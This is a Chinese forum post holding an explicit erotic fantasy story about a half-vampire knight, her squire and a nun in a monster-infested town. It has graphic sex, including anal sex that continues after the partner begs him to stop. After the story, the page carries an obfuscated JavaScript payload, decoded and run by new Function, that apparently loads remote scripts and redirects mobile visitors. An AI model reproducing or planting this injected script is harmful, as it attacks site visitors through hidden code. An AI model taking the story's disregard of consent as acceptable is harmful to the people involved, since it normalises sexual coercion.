这个活动对小弟来说非常重要! 拜託大大帮忙评分!
【活动】农曆七月就是要看鬼片 恳求评分!
/forum.php ... 74&pid=85593902
(1)
雷斯卡特耶已经被纳入了魔界的版图,罗帕的女王散播出种子扎根其中。但就在圣城化为魔城之前,在夺权的战争中,依旧有少量人逃了出来。护送着平民的教团成员,一群败走的人们,日夜兼程终于逃离了魔爪,在寻求救援之前,驻扎进了那个小镇——
——【阿尔莱特镇】
坐在马上的我,将目光从前方那愈来愈近的镇口收了回来,转而投放在手中的那份地图。
看来没有走错,这里就是阿尔莱特镇了。小镇的名字,【阿尔莱特】的意思,在当地的方言中意味着幸福和愉快。
我对骑在另一匹马上的同伴说:“幸好在太阳落山前到达。”
对此,我的同伴——女骑士崔妮特,她只是点了点头而已,“嗯。”用单一的语气来表达赞同。
我们两个之间的关係……嗯,大概就是所谓【从者】与【骑士】吧。
崔妮特小姐是一名年轻的、而且剑术高超的骑士,总之我完全不是对手就是了。作为从者,怎能如此脆弱呢?以这种理由,严厉的骑士小姐每日都在操练我的剑术。
“停下来,你们是甚么人?”
两名守门的民兵拦下了我们的马。
依旧保持沈默的崔妮特,说的也是,这种事情是从者应该做的。因此我对他们出示了崔妮特所属教团的证明,那是骑士大人的家族徽章,红枫叶的族徽,以及刻有教会标记的剑鞘。
“这位是教会的崔妮特骑士,我是她的从者。听闻魔物的走向,所以我们来到了这里。”
“原来是骑士大人。”
远离教会圣都的人们,这些人并不知道崔妮特成为骑士的原因,他们也对崔妮特家族的事情一无所知。教会赐予的剑和家族徽章唬住了这群民兵,他们立刻给我们俩让出了一条道路。
于是乎,就是这样,我们进入了阿尔莱特镇。
不知道是不是黄昏的关係,这时行人已经不多了。原本打算是去当地教堂免费入宿的,但考虑到在我们之前已经有雷斯卡特耶的难民了,所以还是选择花钱去了旅馆。
还好,差一点人满。
老闆对我说:“我们只有一间单人房。”
我回头看了看崔妮特,然后回答:“没问题,我睡马廄就可以了。”
我付了五枚金币,房钱和饭钱都算在了里面。崔妮特在老闆的指引下去了她的房间,而我则负责去安顿马匹,然后把饭菜送上去。
阿尔莱特是个主要靠畜牧业的小镇,山羊是每一家都会圈养的动物。羊毛编织服装,羊肉作为食物,羊奶作为饮品而製作乳酪的原材料。今晚的泡着羊奶的麵包,以及浇上了一层浓稠奶酪的烤肉。
“我把晚饭带来了……喔!”
才推开门的我刚刚把餐盘放在木桌上时,我就已经被女骑士从背后抱住了。
“做甚么啦……”
“……吸血。”
湿润温热的舌尖在我的后脖颈上面滑动,正如崔妮特所说的那样。吸血,崔妮特的母亲是吸血鬼,作为后代的女儿,她是在母亲成为吸血鬼之前就诞生的,但依旧继承了部分的血统而成为了介于人类与魔物之间的半吸血鬼。依旧抵挡不了天性的诱惑,自从我们第一次见面并吸过我的血之后,我和崔妮特之间的关係就多了一层不为人知的一面。
在明面上,崔妮特和我是【作为骑士的主人】与【作为随从的从者】。而在私底下的闇地中,主人与下人的身份会被对调。
她就像一只撒娇的小野兽,把脑袋拱进我的胸怀里面,一边发出呼呼的声音,一边嗅着我身上的气味。
“你啊……果腹的东西,难道这些食物就不行吗?”
“因为血的味道更好啊。”
崔妮特一脸理所当然的说着,她咬住了我的手指,不过没有立即咬破皮肤吮吸血液。在身体里流淌着的作为吸血鬼的那一部分,魔物的性慾,崔妮特那一闪一闪的金色瞳眸,她问我:“吶……精液也可以喔?”
“哈哈……选择题吗?”
不过最后那个选项PASS。
暂时还不能在这个地方暴露出我和崔妮特之间的关係,今晚我还是得睡在马廄里面。要是一不小心做了起来,肯定会一直尽兴到天亮吧,会引起别人怀疑的。因此,我将左手伸入口中,哢的一声咬出了能够让崔妮特吸食的血液——话说回来,我也是鼓起勇气练习了很久才终于做到可以自己把自己的手掌咬破。
“……”
崔妮特的鼻腔哼着没有任何音节可以形容的声音,彷彿是作为能够把疼痛忍耐下来的奖励那样,半吸血鬼骑师非常温柔的用她的舌头舔舐着我的拇指伤口。
我和崔妮特来到这里的原因是甚么呢?——来自岳母大人的指示,追蹤那些雷斯卡特耶撤离的人类,监视他们。
嗯……【监视】吗?
我对这个命令抱着一些困惑,难道不是同化掉?——对于人类一方和魔物一方,究竟该站在甚么样的阵营呢?老实说吧,我个人对双方的概念都很淡薄就是了。我并没有住在人口聚集的地方,也没有感受到所谓的神明之恩惠。魔物与人类之间的战场,是谁来统治都好,只要有人能够接受我的货物并换取到赖以生存的金币和物资,这对于我来说就足够了。而和崔妮特在一起后,我就选择听从她的想法。崔妮特最终选择了魔界的一方,那我也藉由爱屋及乌的情绪而跟着进入魔界的一方好了。
坏蛋也好、叛徒也好,比起这些没甚么实质性的谩骂,只要和我能和我的妻子在一起那就足够了。
“明天陪我去一趟教堂吧。”崔妮特舔着殷红的嘴唇对我说道,“我嗅到……熟人的味道。”
(2)
阿尔莱特镇的教堂,如果不是这几天突然涌入这么多的溃军和难民,这个教堂其实还显得蛮宽大的。不过现在就连地下室都注满了教会的士兵和雷斯卡特耶的难民吧,他们向镇里徵集那些医生,希望能够得到让伤口消毒和抵消魔物化的药物。
当我把象徵身份的证明翻出来给那些人看了之后,明白崔妮特所属的氏族的他们都放下了敌意。崔妮特是半吸血鬼,这一点在她还站在教会一方的时候就已经是事实了。人们对她的了解,半吸血鬼依旧是半吸血鬼,但没有人知道崔妮特已经打算离开教会了。
我们步入了教堂的时候就看见了,医生和牧师还有那些修女,正在给随地而坐的人们治疗伤势。
“走这边。”
第一次才来这里的崔妮特,但她看起来很熟悉的样子。半吸血鬼骑师的鼻翼轻轻抖动着,在嗅着空气中的味道吗?
【熟人的味道】——也就是说这里有崔妮特熟悉的人啰?
空气中瀰漫着药物和圣水混合的气味,刺鼻的令我不禁用手指擦着自己的鼻头。崔妮特领着我径直穿过了走道,我们进入到了教堂内部的祈祷大厅。我看见那些虔诚的教徒,儘管身上都还打着带血的绷带,但依旧不顾会不会碰到自己的伤口,跪在地面上对神像祈祷。
(这样真的有效吗?)
正当我质疑这到底算不算迷信时,崔妮特已经撇下我独自一人跑了上去。
“谢莉!”
她呼唤着某个少女的名字。
作为回应的是那名跪在神像面前的修女,她看起来和崔妮特岁数相同,留着金色捲髮的年轻修女。鼻头上淡淡的雀斑,似乎也因为情绪的变动而略微发红。
“……崔妮特、是崔妮特吗?!”
得到的回应也是惊喜的呼声。
少女们拥抱在了一起,用脸颊蹭着对方脸颊的亲密行为。
我在心中闇闇的想,在崔妮特引荐我之前,应该不会有我的话语空间了。
“为甚么崔妮特会在这里?”
“我才想要问呢,谢莉居然会在这个地方!”
啊啊,少女们的对话时间吗?
我乾脆坐了下来听她们的对话,然后很快就了解到那名叫做谢莉的年轻修女的身份了。
简而言之就是朋友——在崔妮特因为家族关係而被疏远的那段期间,所结实的友人中就只有谢莉一个人不在意那些事情。双方的友谊一直保持到现在,但她们的交流却因为随着崔妮特为了家族而成为对抗魔物的独行侠离开圣都而告一段落,在那之后不久,谢莉则因为在神赐魔法上的造诣而被送完雷斯卡特耶。
当然了,那个时候的雷斯卡特耶还是教团的国家。
一直到沦陷为之,逃离了魔物的追击而在这里暂时落脚的谢莉。
正当我听着她们说话的时候——“喂,你这个閑人!”我被一名男性神父抓住了肩膀。
“呃……神父?”
“所有人都在帮忙,你却在这边看女孩子吗?!”
“啊、不是这样的,我……”
“有时间解释还不如赶快过来帮忙照顾伤患!”
“呜哇……!”
就是这样,我被拉过去当苦力了。
陷入了再次会面的欣喜而没有注意到我的崔妮特,我也因此一直被堵着嘴巴给被迫拉入劳动之中,从中午一直到晚上。最后连我自己都不知道都在做甚么了,反应过来的时候就已经和其他汗味臭烘烘的人坐在一起吃晚饭了。被冰冷酱汁浇盖的烘焙豆子以及烤麵包,在往后就被带到了地下室的睡眠所。
“其他地方都满员了,你就暂时睡在储物间好了。”
引路的人对我说完之后就把门给晚上了。
……话说,究竟为甚么我会那么听话啊?
知道嘭的一声关门声像打鼓一样响在我的耳朵里面后,我才彻底回过味来。
“等等……!”
想要过去开门时发现已经被用铁链锁住了。
完蛋,我心想。
没有别的办法,就只能……在这里等吗?
(3)
我不知道自己甚么时候睡过去的。
门被锁了,并且看来附近没人,叫破喉咙也没用吧。我最后就只能先等到天亮试试看了,背靠在储物间的乾草堆之中,不知不觉睡了过去。
“……嗯?”
半夜醒来,这是因为感觉到身体上骤然出现的重量。
有甚么压在我的身上了。
“啊……崔妮特?”
揉着眼睛的我发现,崔妮特趴在我的身上,门已经被打开了。上面的锁还留着新鲜的痕迹,是用佩剑和蛮力打开的吗?
嗅嗅,她把头趴在我的脖子边闻着气味。
“很臭啦……”
我说道。
但崔妮特却说着别的事情:“那些是魔法。”
“……欸?”
“是教会的魔法……催眠术一类的,大多数时候是用来煽动人民情绪来让他们入教的。你没有学习过魔法知识,中招也是理所当然。”
崔妮特从鼻腔中溜了一气,看样子也十分不齿教会的这种行为。
“下等的把戏。”
原来如此。
我对此深感丢脸,因此用手掌盖在了自己的脸上。
但崔妮特却靠了过来拱开我的手,半吸血鬼的舌头舔着我的汗液。
“都说了很脏啦。”
“有没甚么关係,和在野外比起来还算好啦……”
似乎真的饿很久了。
(在这里做吧?)
她靠在我耳边像是蚊吟般的说道。虽说是询问,但这只是一句陈述而已。主动的女骑士,“比起乾净……这才你的味道呢。”她顺着我的胸膛,用小鼻子轻轻摩擦我那浸满汗水而又干掉的衬衫,最后停留在了最浓烈的部分。
半吸血鬼的尖尖犬齿,崔妮特仔细地用牙齿咬着拉开了束带。
魅魔属却带着些许不死族属性的半吸血鬼,灼热的性器突然感觉到一阵冰凉,它轻轻拍打在崔妮特的脸颊上。
啾,女骑士温和的亲了亲被剥下包皮的部分。那抵着发红髮热的首部的嘴唇,微凉的双唇随着她一点儿一点儿的将脑袋低下而将肉棒从上到下一点儿一点儿的吞了进去。
噗啾噗啾的声音,水声已经让口交变得愈加湿润起来。
“喂……那个……叫做谢莉的女孩子呢?”
我才这么问,下体便传来了被轻咬的痛感。
“哇……”
“太过分了,和人家在一起,却在想别的女孩子吗?”
用脸颊贴着肉棒的崔妮特,边说边舔着棒身上前列腺液和唾液的混合物。
但转而又问:
“对了,我们……有多久没做了?”
“大概四天吧。”
“哼……”
崔妮特用牙齿轻咬着我的性器上下蠕动着。
“难怪气味这么浓……你也积攒这么久了,今晚好好做一下吧?”
我一边忍耐着快感不让自己那么快就射出来,一边问崔妮特:“这里没有别人吗?”
“安啦,和我来找你的就只有谢莉一个人而已,她去别的地方了……”
滋、滋、滋的声音。
因为在说话的关係,所以崔妮特的动作很轻很慢,吮吸的水声与水声之间总是很有节奏的停顿一两秒。
我们再也没说甚么了,性慾让理性没有在顾虑别的东西。
我和崔妮特都没有像当初见面般那样腼腆,现在就只是在像野兽一样,用满足充血的性器的方式来模仿野兽用舌头互相舔着对方的毛髮而增长亲密度那样。
“咕……”
崔妮特的喉咙动了一下,将搅拌着汗的鹹味与性器自身味道的涎水混合物吞咽了下去。
她有些迫不及待地脱下裤子,内裤早已经湿哒哒的了。
“现在就——”
才说到这里时,我们两个都听见了第三者的声音。
“崔妮特,你在这里吗?”
是谢莉。
小骑士被吓了一大跳,她扑在了我的怀里面。
“为、为为为为为甚么谢莉会在这里……她不是去了另一个地方的吗?”
话说,刚刚还自信满满的家伙究竟是谁来着?
“果然还是把门给……”
崔妮特背过了我,想要去关门。
但我在这个时候有了一个坏坏的点子,因此我从后面拉住了崔妮特。
“呜呀!”
她背朝着我摔了过来。
(做、做甚么啦!?)
(我可不要崔妮特离开,都已经到这个份上了,让我插进去吧?)
(……!)
“~~~~~~~~~!”
不是平时的阴道,而是从后面的肉腔进入。
“果然、和平时的不一样哦……!”
咕噜咕噜的收缩着,有点儿乾巴巴的样子,但却好像更加温暖。
“好痛、拔……拔出来!”
谢莉的脚步声越来越近了。
还有她的自言自语,难道是发现这里的声音了吗?
……好像这样也很不错的样子。
因此,我无视掉崔妮特的惨呼了。平日里还算是骄傲且优雅的女骑士,让人忍不住想要捉弄一下。还有的就是,刚刚居然咬我的惩罚。
“啾……”
这一次换我品尝半吸血鬼的脖子了,少女的汗液,带着体香的鹹味。原本有些冰冷的体温,不知道是不是因为我的体温的关係,崔妮特的身体也变得暖呼呼的。
(不是想要被喂吗?)
我靠在她的耳边说道。
(后面好像就是通向肠子和胃部的吧,就从那里灌进去啰。)
(等、等等……!)
更加老实的还是身体那一方,咕噜咕噜的蠕动声变成咕啾咕啾的滋润声。和最初紧紧包裹着的感觉不同,看样子已经完全熟练该怎么用后面的肉腔来取悦肉棒了,配合着抽插而扭腰,榨取似的缠吸住肉棒。
不过,比起这个,门外的动静变得更大了。
(4)
不知道崔妮特有没有看见,但我看见了。
谢莉,年轻的修女,趴在门的缝隙边,看样子将一切都收纳入眼眸之中了。脸上是不是写满了惊叹呢,我听得出来的,除了崔妮特的喘息之外,还有另外的音色不同的女性呻吟。
在看着我们的性交而自慰?
那只靠在门缝边的眼睛,变得越来越迷离,不知道是眼泪还是汗珠,顺着额头滑了下来。
(谢莉在看我们做爱喔?)
“……!!??”
果然,听我这么说之后,女骑士的反应就更加可爱了。
我乘机用空腾出来的右手摸向她的性器,肉穴口已经完全停不下流水了,一起一伏的阴唇。猛地,我用手指捏住了豆状的突起物。
“咕呜……!!!”
由于是敏感点的关係,崔妮特这次终于没有在顾虑究竟有没有人了。
她的呻吟变成了的呓语。
“讨厌啦……”
话虽如此,背对着我的小骑士,却将她的左手伸到后面,覆盖在后臀的一块软肉上轻轻地向一边扒拉开。似乎觉得这样可以让后尻的腔穴撑得大一些,感觉更加轻鬆一些。
“嘿……你这个——”
让人慾罢不能的家伙,这个时候,主人的一方就是我了。
“——这个淫蕩的身体、把脸…… 起来啊。”
我从后面揪住了她的金色马尾。
“呜……”
向后拉扯,这样应该会很疼吧。可是,崔妮特的肉腔却做出了因为太过舒服而反覆收缩的行为,居然会觉得很舒服嘛?
“笨、笨蛋!”
她很小声地骂着我。
崔妮特也发现了吗?谢莉正在看着这边。满脸通红的半吸血鬼,被快感侵蚀了脑袋,涎水从唇边流淌了下来,泪眼也不断分泌着液体。向下滴落着浸湿了前端的衣裳,包裹前胸的服饰已经完美的念着乳突将其表现出来了。
“~~~~~~!”
就在崔妮特因为被我的捏住乳头而咬着嘴巴不断颤抖时——“哐当!”——门外的偷窥者已经忍不住了。似乎想要看得更加清楚一些而不知不觉靠得更前,结果却绊倒了下摆的裙子而摔了进来。
木门的声响,女孩子摔倒在地的声音,还有滴落的水声。
那是不是尿液呢?微黄的清澄热液从下体低落了下去,比起羞耻感……快感更胜一层楼吗?这个家伙,说到底也是和崔妮特一样被淫慾给俘虏的家伙吧。羞红了的脸蛋,趴在地面上的修女用慌慌张张的眼神直视我和崔妮特的性器结合的地方。
“为甚么啊……崔妮特……和你……你们、你们两个……”
还在质问我们,自己不是也舒服的一塌糊涂了吗?
居然毫不廉耻的用自己的右手探入下体,十分用力地刺激自己的性器。噗滋噗滋的,温热且鹹湿的水液在指缝间滴落下来。
“为甚么、我会……呼啊……!!”
噗啾。
突然从她的下体中传了出来,那声清脆的声音,好像有甚么卵状物爆炸的声音。
已经没有残留多少羞耻心与理智的崔妮特,随着性交的抽插而一起一伏的言语:“罗、罗帕……罗帕的、种子……吗?”
那个正是让雷斯卡特耶沦陷的魔物,通过在女性的体内散播种子,随着淫慾而成长与人类的身体融合在一起。一边被触鬚肆意玩弄着身体,一边渴求男性精子的混合体。
即使是从雷斯卡特耶逃出来……也没能倖免吗?
或许这个就是所谓的巧合也说不定?
从谢莉的后尻腔穴和前面的阴道口中爆发出来的沾着黏液的触鬚。
“咕呜……甚么、身体里面……有甚么……触手、为甚么……?”
猛地从体内钻出,这排泄般的舒畅感。是自身的体液,还是触鬚本身的黏液呢?
“这可真是……嘿嘿。”
意料之外的有趣,我和崔妮特两人一边摩擦着对方的性器,一边用眼睛观赏着这出人类和魔物融合的表演。
“咕啾~!”
那些触鬚的水声,从人体内钻出的它们,不知何时已经将谢莉整个人都变得黏黏糊糊的。身体和衣服和触鬚,好像是知道该怎样刺激女性的身体似的,像蠕虫一样从下面爬了上来,绕过了谢莉的乳沟,一边缠绕挤压,一边用肿胀的前端在谢莉的脸颊边摩擦。
“结果,到头来,你们两个还是一样的体质嘛……物以类聚,这个意思啰?”
被我的性器蹂躏的少女,以及被性器般的触鬚蹂躏的少女。
这个眼神,是羞涩呢?还是想要反驳呢?
已经无所谓了,人类也好魔物也好,全部都沈浸在快感的海洋里面了。不知是自己在爬行,或是被触鬚给推动着,亦或是说自己配合着体内蠕动的触鬚部分想要寻求更多的性交快乐吗?
一点一点的,向我们爬过来的谢莉。
脸色愈来愈红,要高潮了吗?
崔妮特,看起来好像也要达到顶峰了吧。
臀肉不断颤抖着,突然——“呜……呜呃~!”——伴随小声的惨叫。
射精的我,以及达到高潮的崔妮特与谢莉。半吸血鬼骑士已经没办法继续再控制膀胱的肌肉,温热温热的尿液终于被解放,伴随着最后仅剩的一丁点儿的自尊心而尿了出来。喷洒在地面上,还有洒落在她最好的朋友的脸上。
在快感中终于失去了全身力量,我一不小心放开了崔妮特,女骑士就这么趴倒了下去。精液和尿液,身上沾着这些的两名少女,还在下意识渴求快感而缠绵在了一起。互相亲吻吮吸对方嘴唇与舌头的崔妮特和谢莉,同时也被触鬚肆意玩弄着。
喘着气的我慢慢的站起来。
我的耳朵,我听见了更多性交的声音。包括女骑士与修女在内的,还有……啊,是的,还有很多人……今晚终于认识到异性交融快感的人有很多,非常的多。
原来如此。
我明白了,为甚么让我和崔妮特到这边来这儿却只是观察的理由。
快乐的种子早就被四皇女殿下埋伏好了,只需要等待一个时机,就能将所有人拉入快乐天阳。我和崔妮特所需要做的就是静静的看着,然后加入到这场宴会之中。
“再、再继续吧……”
“我也要、精液……”
我看着对我展示着性器的崔妮特和谢莉,心想,相信不久,这里也会被纳入雷斯卡特耶的版图了吧?
宴会还要持续、蔓延下去。
!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();